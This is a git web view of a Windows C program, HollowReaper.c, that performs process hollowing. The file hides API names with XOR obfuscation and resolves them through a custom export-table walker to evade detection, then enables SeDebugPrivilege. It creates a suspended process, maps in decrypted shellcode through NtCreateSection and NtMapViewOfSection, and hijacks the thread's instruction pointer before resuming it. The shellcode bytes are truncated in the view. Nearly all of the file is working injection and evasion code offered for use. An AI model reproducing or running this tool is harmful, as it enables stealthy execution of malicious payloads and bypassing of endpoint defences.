etc~ scripts and random things |
| git clone https://github.com/djnnvx/etc.git |
| log | files | refs | archive |
HollowReaper.c (17764B)
1 /* 2 Author: vari.sh 3 Description: 4 - This program implements process hollowing (it creates a suspended process, 5 injects a deobfuscated shellcode via XOR, and then resumes the thread). 6 7 Usage: Doppelganger.exe "C:\windows\explorer.exe" 8 9 */ 10 11 #define _CRT_SECURE_NO_WARNINGS 12 #include <windows.h> 13 #include <stdio.h> 14 15 16 // ===================================================== 17 // API Deobfuscation Functions (XOR) 18 // ===================================================== 19 20 // Function to decrypt a string (encrypted data is not null-terminated) 21 char* xor_decrypt_string(const unsigned char* cipher, size_t len, const char* key, size_t key_len) 22 { 23 char* result = (char*)malloc(len + 1); 24 if (!result) return NULL; 25 for (size_t i = 0; i < len; i++) { 26 result[i] = cipher[i] ^ key[i % key_len]; 27 } 28 result[len] = '\0'; 29 return result; 30 } 31 32 // Function to decrypt a buffer in-place (e.g., for shellcode) 33 void xor_decrypt_buffer(unsigned char* buffer, size_t len, const char* key, size_t key_len) 34 { 35 for (size_t i = 0; i < len; i++) { 36 buffer[i] ^= key[i % key_len]; 37 } 38 } 39 40 // to_wide util function 41 42 wchar_t* to_wide(const char* str) { 43 int len = MultiByteToWideChar(CP_UTF8, 0, str, -1, NULL, 0); 44 if (len == 0) return NULL; 45 wchar_t* wstr = (wchar_t*)malloc(len * sizeof(wchar_t)); 46 if (!wstr) return NULL; 47 MultiByteToWideChar(CP_UTF8, 0, str, -1, wstr, len); 48 return wstr; 49 } 50 51 // ===================================================== 52 // Function to load clean versions of DLLs 53 // ===================================================== 54 HMODULE LoadCleanDLL(char* dllPath) { 55 56 HMODULE hDLL = LoadLibraryA(dllPath); 57 if (hDLL) 58 { 59 // printf("[+] Loaded clean copy of %s at: %p\n", dllPath, hDLL); 60 } 61 else 62 { 63 // printf("[ERROR] Failed to load %s. Error: %lu\n", dllPath, GetLastError()); 64 } 65 66 return hDLL; 67 } 68 69 // ===================================================== 70 // get_proc_address reimplementation 71 // ===================================================== 72 73 FARPROC CustomGetProcAddress(HMODULE hModule, LPCSTR lpProcName) { 74 if (hModule == NULL || lpProcName == NULL) { 75 printf("Invalid module handle or function name.\n"); 76 return NULL; 77 } 78 79 // Get the base address of the module 80 BYTE* baseAddr = (BYTE*)hModule; 81 82 // Validate the DOS header 83 IMAGE_DOS_HEADER* dosHeader = (IMAGE_DOS_HEADER*)baseAddr; 84 if (dosHeader->e_magic != IMAGE_DOS_SIGNATURE) { 85 printf("[!] Invalid DOS signature.\n"); 86 return NULL; 87 } 88 89 // Retrieve the NT headers using the DOS header's e_lfanew field 90 IMAGE_NT_HEADERS* ntHeaders = (IMAGE_NT_HEADERS*)(baseAddr + dosHeader->e_lfanew); 91 if (ntHeaders->Signature != IMAGE_NT_SIGNATURE) { 92 printf("[!] Invalid NT signature.\n"); 93 return NULL; 94 } 95 96 // Get the Export Directory from the Data Directory 97 IMAGE_DATA_DIRECTORY exportDataDir = ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT]; 98 if (exportDataDir.VirtualAddress == 0) { 99 printf("[!] No export directory found.\n"); 100 return NULL; 101 } 102 103 // Get a pointer to the Export Directory 104 IMAGE_EXPORT_DIRECTORY* exportDir = (IMAGE_EXPORT_DIRECTORY*)(baseAddr + exportDataDir.VirtualAddress); 105 106 // Get pointers to the arrays of function addresses, names and name ordinals 107 DWORD* addressOfFunctions = (DWORD*)(baseAddr + exportDir->AddressOfFunctions); 108 DWORD* addressOfNames = (DWORD*)(baseAddr + exportDir->AddressOfNames); 109 WORD* addressOfNameOrdinals = (WORD*)(baseAddr + exportDir->AddressOfNameOrdinals); 110 111 // Iterate through the exported names to find the desired function 112 for (DWORD i = 0; i < exportDir->NumberOfNames; i++) { 113 char* functionName = (char*)(baseAddr + addressOfNames[i]); 114 if (_stricmp(functionName, lpProcName) == 0) { 115 // Retrieve the ordinal for the found function 116 WORD ordinal = addressOfNameOrdinals[i]; 117 // Get the RVA of the function 118 DWORD functionRVA = addressOfFunctions[ordinal]; 119 // printf("[+] Found %s at ordinal %hu, RVA: 0x%08X\n", lpProcName, ordinal, functionRVA); 120 // Return the absolute address of the function 121 return (FARPROC)(baseAddr + functionRVA); 122 } 123 } 124 125 printf("[!] Function %s not found.\n", lpProcName); 126 return NULL; 127 } 128 129 // ===================================================== 130 // API Declarations 131 // ===================================================== 132 133 // Loading API 134 135 // "CreateProcessW" 136 static const unsigned char CPW_ENC[] = { 137 0x73, 0x43, 0x57, 0x52, 0x40, 0x50, 0x66, 0x45, 0x57, 0x5A, 0x04, 0x11, 0x10, 0x33 138 }; 139 140 // "ResumeThread" 141 static const unsigned char RT_ENC[] = { 142 0x62, 0x54, 0x41, 0x46, 0x59, 0x50, 0x62, 0x5F, 0x4A, 0x5C, 0x00, 0x06 143 }; 144 145 // "NtCreateSection" 146 static const unsigned char NTCS_ENC[] = { 147 0x7E, 0x45, 0x71, 0x41, 0x51, 0x54, 0x42, 0x52, 0x6B, 0x5C, 0x02, 0x16, 0x0A, 0x0B, 0x0B 148 }; 149 150 // "NtMapViewOfSection" 151 static const unsigned char NTMVS_ENC[] = { 152 0x7E, 0x45, 0x7F, 0x52, 0x44, 0x63, 0x5F, 0x52, 0x4F, 0x76, 0x07, 0x31, 0x06, 0x07, 0x11, 0x0F, 0x08, 0x06 153 }; 154 155 // "OpenProcessToken" 156 static const unsigned char OPT_ENC[] = { 157 0x7F, 0x41, 0x57, 0x5D, 0x64, 0x47, 0x59, 0x54, 0x5D, 0x4A, 0x12, 0x36, 0x0C, 0x0F, 0x00, 0x08 158 }; 159 160 // "AdjustTokenPrivileges" 161 static const unsigned char ATP_ENC[] = { 162 0x71, 0x55, 0x58, 0x46, 0x47, 0x41, 0x62, 0x58, 0x53, 0x5C, 0x0F, 0x32, 0x11, 0x0D, 0x13, 0x0F, 0x0B, 0x0D, 0x0E, 0x0F, 0x43 163 }; 164 165 // "LookupPrivilegeValueA" 166 static const unsigned char LPVA_ENC[] = { 167 0x7C, 0x5E, 0x5D, 0x58, 0x41, 0x45, 0x66, 0x45, 0x51, 0x4F, 0x08, 0x0E, 0x06, 0x03, 0x00, 0x30, 0x06, 0x04, 0x1C, 0x0F, 0x71 168 }; 169 170 // "GetThreadContext" 171 static const unsigned char GTC_ENC[] = { 172 0x77, 0x54, 0x46, 0x67, 0x5C, 0x47, 0x53, 0x56, 0x5C, 0x7A, 0x0E, 0x0C, 0x17, 0x01, 0x1D, 0x12 173 }; 174 175 // "SetThreadContext" 176 static const unsigned char STC_ENC[] = { 177 0x63, 0x54, 0x46, 0x67, 0x5C, 0x47, 0x53, 0x56, 0x5C, 0x7A, 0x0E, 0x0C, 0x17, 0x01, 0x1D, 0x12 178 }; 179 180 // "GetCurrentProcess" 181 static const unsigned char GCP_ENC[] = { 182 0x77, 0x54, 0x46, 0x70, 0x41, 0x47, 0x44, 0x52, 0x56, 0x4D, 0x31, 0x10, 0x0C, 0x07, 0x00, 0x15, 0x14 183 }; 184 185 typedef BOOL(WINAPI* PFN_OPT)( 186 HANDLE ProcessHandle, 187 DWORD DesiredAccess, 188 PHANDLE TokenHandle 189 ); 190 191 typedef BOOL(WINAPI* PFN_ATP)( 192 HANDLE TokenHandle, 193 BOOL DisableAllPrivileges, 194 PTOKEN_PRIVILEGES NewState, 195 DWORD BufferLength, 196 PTOKEN_PRIVILEGES PreviousState, 197 PDWORD ReturnLength 198 ); 199 200 typedef BOOL(WINAPI* PFN_LPVA)( 201 LPCSTR lpSystemName, 202 LPCSTR lpName, 203 PLUID lpLuid 204 ); 205 206 typedef BOOL(WINAPI* PFN_CPW)( 207 LPCWSTR lpApplicationName, 208 LPWSTR lpCommandLine, 209 LPSECURITY_ATTRIBUTES lpProcessAttributes, 210 LPSECURITY_ATTRIBUTES lpThreadAttributes, 211 BOOL bInheritHandles, 212 DWORD dwCreationFlags, 213 LPVOID lpEnvironment, 214 LPCWSTR lpCurrentDirectory, 215 LPSTARTUPINFOW lpStartupInfo, 216 LPPROCESS_INFORMATION lpProcessInformation 217 ); 218 219 typedef DWORD(WINAPI* PFN_RT)( 220 HANDLE hThread 221 ); 222 223 typedef NTSTATUS(NTAPI* PFN_NTCS)( 224 PHANDLE SectionHandle, 225 ACCESS_MASK DesiredAccess, 226 PVOID ObjectAttributes, 227 PLARGE_INTEGER MaximumSize, 228 ULONG SectionPageProtection, 229 ULONG AllocationAttributes, 230 HANDLE FileHandle 231 ); 232 233 typedef NTSTATUS(NTAPI* PFN_NTMVOS)( 234 HANDLE SectionHandle, 235 HANDLE ProcessHandle, 236 PVOID* BaseAddress, 237 ULONG ZeroBits, 238 SIZE_T CommitSize, 239 PLARGE_INTEGER SectionOffset, 240 PSIZE_T ViewSize, 241 DWORD InheritDisposition, 242 ULONG AllocationType, 243 ULONG Win32Protect 244 ); 245 246 typedef BOOL(WINAPI* PFN_GTC)( 247 HANDLE hThread, 248 LPCONTEXT lpContext 249 ); 250 251 typedef BOOL(WINAPI* PFN_STC)( 252 HANDLE hThread, 253 const CONTEXT* lpContext 254 ); 255 256 typedef HANDLE(WINAPI* PFN_GCP)( 257 VOID 258 ); 259 260 // ===================================================== 261 // Main – Process Hollowing + LSASS EPROCESS Reading 262 // ===================================================== 263 int main(int argc, char* argv[]) { 264 // Start 265 printf("[+] Starting Doppelganger\n"); 266 Sleep(5000); 267 268 // Load clean versions of DLLs 269 char* kernel32Path = "C:\\Windows\\System32\\kernel32.dll"; 270 HMODULE hKernel32 = LoadCleanDLL(kernel32Path); 271 272 char* ntdllPath = "C:\\Windows\\System32\\ntdll.dll"; 273 HMODULE hNtdll = LoadCleanDLL(ntdllPath); 274 275 char* advapi32Path = "C:\\Windows\\System32\\advapi32.dll"; 276 HMODULE hAdvapi32 = LoadCleanDLL(advapi32Path); 277 278 if (!hKernel32 || !hNtdll || !hAdvapi32) { 279 printf("[!] Failed to load one or more DLLs\n"); 280 return 1; 281 } 282 283 // XOR key definition 284 const char* XOR_KEY = "0123456789abcdefghij"; 285 size_t key_len = strlen(XOR_KEY); 286 287 // deXORing names 288 char* strCPW = (char*)malloc(sizeof(CPW_ENC)); 289 char* strRT = (char*)malloc(sizeof(RT_ENC)); 290 char* strNTCS = (char*)malloc(sizeof(NTCS_ENC)); 291 char* strNTMVS = (char*)malloc(sizeof(NTMVS_ENC)); 292 char* strOPT = (char*)malloc(sizeof(OPT_ENC)); 293 char* strATP = (char*)malloc(sizeof(ATP_ENC)); 294 char* strLPVA = (char*)malloc(sizeof(LPVA_ENC)); 295 char* strGTC = (char*)malloc(sizeof(GTC_ENC)); 296 char* strSTC = (char*)malloc(sizeof(STC_ENC)); 297 char* strGCP = (char*)malloc(sizeof(GCP_ENC)); 298 299 if (!strCPW || !strRT || !strNTCS || !strNTMVS || !strOPT || !strATP || !strLPVA || !strGTC || !strSTC || !strGCP) { 300 printf("[ERROR] Memory allocation error\n"); 301 return 1; 302 } 303 304 // KERNEL32.DLL APIs 305 memcpy(strCPW, CPW_ENC, sizeof(CPW_ENC)); 306 strCPW = xor_decrypt_string((unsigned char*)strCPW, sizeof(CPW_ENC), XOR_KEY, key_len); 307 PFN_CPW pCPW = (PFN_CPW)CustomGetProcAddress(hKernel32, strCPW); 308 SecureZeroMemory(strCPW, sizeof(CPW_ENC)); free(strCPW); 309 310 memcpy(strRT, RT_ENC, sizeof(RT_ENC)); 311 strRT = xor_decrypt_string((unsigned char*)strRT, sizeof(RT_ENC), XOR_KEY, key_len); 312 PFN_RT pRT = (PFN_RT)CustomGetProcAddress(hKernel32, strRT); 313 SecureZeroMemory(strRT, sizeof(RT_ENC)); free(strRT); 314 315 // NTDLL.DLL APIs 316 memcpy(strNTCS, NTCS_ENC, sizeof(NTCS_ENC)); 317 strNTCS = xor_decrypt_string(NTCS_ENC, sizeof(NTCS_ENC), XOR_KEY, key_len); 318 PFN_NTCS pNCS = (PFN_NTCS)CustomGetProcAddress(hNtdll, strNTCS); 319 SecureZeroMemory(strNTCS, sizeof(NTCS_ENC)); free(strNTCS); 320 321 memcpy(strNTMVS, NTMVS_ENC, sizeof(NTMVS_ENC)); 322 strNTMVS = xor_decrypt_string(NTMVS_ENC, sizeof(NTMVS_ENC), XOR_KEY, key_len); 323 PFN_NTMVOS pNMVOS = (PFN_NTMVOS)CustomGetProcAddress(hNtdll, strNTMVS); 324 SecureZeroMemory(strNTMVS, sizeof(NTMVS_ENC)); free(strNTMVS); 325 326 // ADVAPI32.DLL APIs 327 memcpy(strOPT, OPT_ENC, sizeof(OPT_ENC)); 328 strOPT = xor_decrypt_string(OPT_ENC, sizeof(OPT_ENC), XOR_KEY, key_len); 329 PFN_OPT pOPT = (PFN_OPT)CustomGetProcAddress(hAdvapi32, strOPT); 330 SecureZeroMemory(strOPT, sizeof(OPT_ENC)); free(strOPT); 331 332 memcpy(strATP, ATP_ENC, sizeof(ATP_ENC)); 333 strATP = xor_decrypt_string(ATP_ENC, sizeof(ATP_ENC), XOR_KEY, key_len); 334 PFN_ATP pATP = (PFN_ATP)CustomGetProcAddress(hAdvapi32, strATP); 335 SecureZeroMemory(strATP, sizeof(ATP_ENC)); free(strATP); 336 337 memcpy(strLPVA, LPVA_ENC, sizeof(LPVA_ENC)); 338 strLPVA = xor_decrypt_string(LPVA_ENC, sizeof(LPVA_ENC), XOR_KEY, key_len); 339 PFN_LPVA pLPVA = (PFN_LPVA)CustomGetProcAddress(hAdvapi32, strLPVA); 340 SecureZeroMemory(strLPVA, sizeof(LPVA_ENC)); free(strLPVA); 341 342 memcpy(strGTC, GTC_ENC, sizeof(GTC_ENC)); 343 strGTC = xor_decrypt_string((unsigned char*)strGTC, sizeof(GTC_ENC), XOR_KEY, key_len); 344 PFN_GTC pGTC = (PFN_GTC)CustomGetProcAddress(hKernel32, strGTC); 345 SecureZeroMemory(strGTC, sizeof(GTC_ENC)); free(strGTC); 346 347 memcpy(strSTC, STC_ENC, sizeof(STC_ENC)); 348 strSTC = xor_decrypt_string((unsigned char*)strSTC, sizeof(STC_ENC), XOR_KEY, key_len); 349 PFN_STC pSTC = (PFN_STC)CustomGetProcAddress(hKernel32, strSTC); 350 SecureZeroMemory(strSTC, sizeof(STC_ENC)); free(strSTC); 351 352 memcpy(strGCP, GCP_ENC, sizeof(GCP_ENC)); 353 strGCP = xor_decrypt_string((unsigned char*)strGCP, sizeof(GCP_ENC), XOR_KEY, key_len); 354 PFN_GCP pGCP = (PFN_GCP)CustomGetProcAddress(hKernel32, strGCP); 355 SecureZeroMemory(strGCP, sizeof(GCP_ENC)); free(strGCP); 356 357 // Check all resolved 358 if (!pCPW || !pRT || !pNCS || !pNMVOS || !pOPT || !pATP || !pLPVA) { 359 printf("[ERROR] Error retrieving API addresses.\n"); 360 return 1; 361 } 362 363 364 // Enabling SeDebugPrivilege 365 HANDLE hToken = NULL; 366 LUID luid; 367 TOKEN_PRIVILEGES tp; 368 369 printf("[*] Requesting S DBG PVG...\n"); 370 if (!pOPT(pGCP(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken)) { 371 // printf("[!] OPT failed, error: %lu\n", GetLastError()); 372 return 1; 373 } 374 375 // "SeDebugPrivilege" 376 static const unsigned char SEDBG_ENC[] = { 377 0x63, 0x54, 0x76, 0x56, 0x56, 0x40, 0x51, 0x67, 0x4A, 0x50, 0x17, 0x0B, 0x0F, 0x01, 0x02, 0x03 378 }; 379 380 char* strSEDBG = (char*)malloc(sizeof(SEDBG_ENC)); 381 if (!strSEDBG) { 382 printf("[ERROR] Memory allocation failed for S DBG PVG\n"); 383 return 1; 384 } 385 memcpy(strSEDBG, SEDBG_ENC, sizeof(SEDBG_ENC)); 386 strSEDBG = xor_decrypt_string((unsigned char*)strSEDBG, sizeof(SEDBG_ENC), XOR_KEY, key_len); 387 388 389 if (!pLPVA(NULL, strSEDBG, &luid)) { 390 // printf("[!] LPVA failed, error: %lu\n", GetLastError()); 391 return 1; 392 } 393 tp.PrivilegeCount = 1; 394 DWORD se_enabled_obfuscated = 0xA5 ^ 0xA7; // 0x02 395 tp.Privileges->Attributes = se_enabled_obfuscated; 396 // tp.Privileges->Attributes = SE_PRIVILEGE_ENABLED; 397 tp.Privileges->Luid = luid; 398 if (!pATP(hToken, FALSE, &tp, 0, NULL, NULL)) { 399 // printf("[!] ATP failed, error: %lu\n", GetLastError()); 400 return 1; 401 } 402 403 printf("[+] S DBG PVG enabled.\n"); 404 405 // Obtain the target executable path (from command line or stdin) 406 char exePathA[MAX_PATH] = { 0 }; 407 if (argc > 1) { 408 strncpy(exePathA, argv[1], MAX_PATH - 1); 409 printf("[+] Path provided from command line: %s\n", exePathA); 410 } 411 else { 412 printf("[*] Enter the full path of the executable: "); 413 if (!fgets(exePathA, sizeof(exePathA), stdin)) { 414 printf("[ERROR] Error reading the path.\n"); 415 return 1; 416 } 417 exePathA[strcspn(exePathA, "\r\n")] = '\0'; 418 } 419 if (strlen(exePathA) == 0) { 420 printf("[ERROR] Invalid path!\n"); 421 return 1; 422 } 423 wchar_t* exePathW = to_wide(exePathA); 424 if (!exePathW) { 425 printf("[ERROR] Error converting the path to Unicode.\n"); 426 return 1; 427 } 428 429 // Create the process in a suspended state 430 431 STARTUPINFOW si; 432 PROCESS_INFORMATION pi; 433 ZeroMemory(&si, sizeof(si)); 434 si.cb = sizeof(si); 435 ZeroMemory(&pi, sizeof(pi)); 436 if (!pCPW(exePathW, NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi)) { 437 // printf("[ERROR] Error creating the process, code: %lu\n", GetLastError()); 438 free(exePathW); 439 return 1; 440 } 441 free(exePathW); 442 printf("[+] Process created in suspended state, PID: %lu\n", pi.dwProcessId); 443 444 // Deobfuscate the shellcode 445 unsigned char shellcode_enc[] = { 446 0xD8, 0xF1, 0x45, 0x33, ... 447 }; 448 size_t shellcode_len = sizeof(shellcode_enc); 449 xor_decrypt_buffer(shellcode_enc, shellcode_len, XOR_KEY, key_len); 450 451 // Create section 452 HANDLE hSection = NULL; 453 LARGE_INTEGER sectionSize = { 0 }; 454 sectionSize.QuadPart = shellcode_len; 455 NTSTATUS status = pNCS(&hSection, SECTION_ALL_ACCESS, NULL, §ionSize, PAGE_EXECUTE_READWRITE, SEC_COMMIT, NULL); 456 if (status != 0 || !hSection) { 457 printf("[ERROR] NCS failed: 0x%08X\n", status); 458 return 1; 459 } 460 461 // Map section to local process 462 PVOID localBaseAddress = NULL; 463 SIZE_T viewSize = 0; 464 status = pNMVOS(hSection, pGCP(), &localBaseAddress, 0, 0, NULL, &viewSize, 2, 0, PAGE_READWRITE); 465 if (status != 0 || !localBaseAddress) { 466 printf("[ERROR] NMVOS (local) failed: 0x%08X\n", status); 467 return 1; 468 } 469 memcpy(localBaseAddress, shellcode_enc, shellcode_len); 470 471 // Map section to remote process 472 PVOID remoteBaseAddress = NULL; 473 viewSize = 0; 474 status = pNMVOS(hSection, pi.hProcess, &remoteBaseAddress, 0, 0, NULL, &viewSize, 2, 0, PAGE_EXECUTE_READ); 475 if (status != 0 || !remoteBaseAddress) { 476 printf("[ERROR] NMVOS (remote) failed: 0x%08X\n", status); 477 return 1; 478 } 479 printf("[+] Shellcode mapped at remote address: %p\n", remoteBaseAddress); 480 481 // Modify RIP to point to shellcode in remote process 482 CONTEXT ctx; 483 ctx.ContextFlags = CONTEXT_CONTROL; 484 if (!pGTC(pi.hThread, &ctx)) { 485 // printf("[ERROR] GTC failed: %lu\n", GetLastError()); 486 return 1; 487 } 488 #ifdef _WIN64 489 ctx.Rip = (DWORD64)remoteBaseAddress; 490 #else 491 ctx.Eip = (DWORD)remoteBaseAddress; 492 #endif 493 if (!pSTC(pi.hThread, &ctx)) { 494 // printf("[ERROR] STC failed: %lu\n", GetLastError()); 495 return 1; 496 } 497 498 DWORD suspendCount = pRT(pi.hThread); 499 printf("[+] Thread resumed, suspend count: %lu\n", suspendCount); 500 501 // Cleanup: close handles 502 CloseHandle(pi.hThread); 503 CloseHandle(pi.hProcess); 504 505 printf("[+] Operation completed.\n"); 506 return 0; 507 }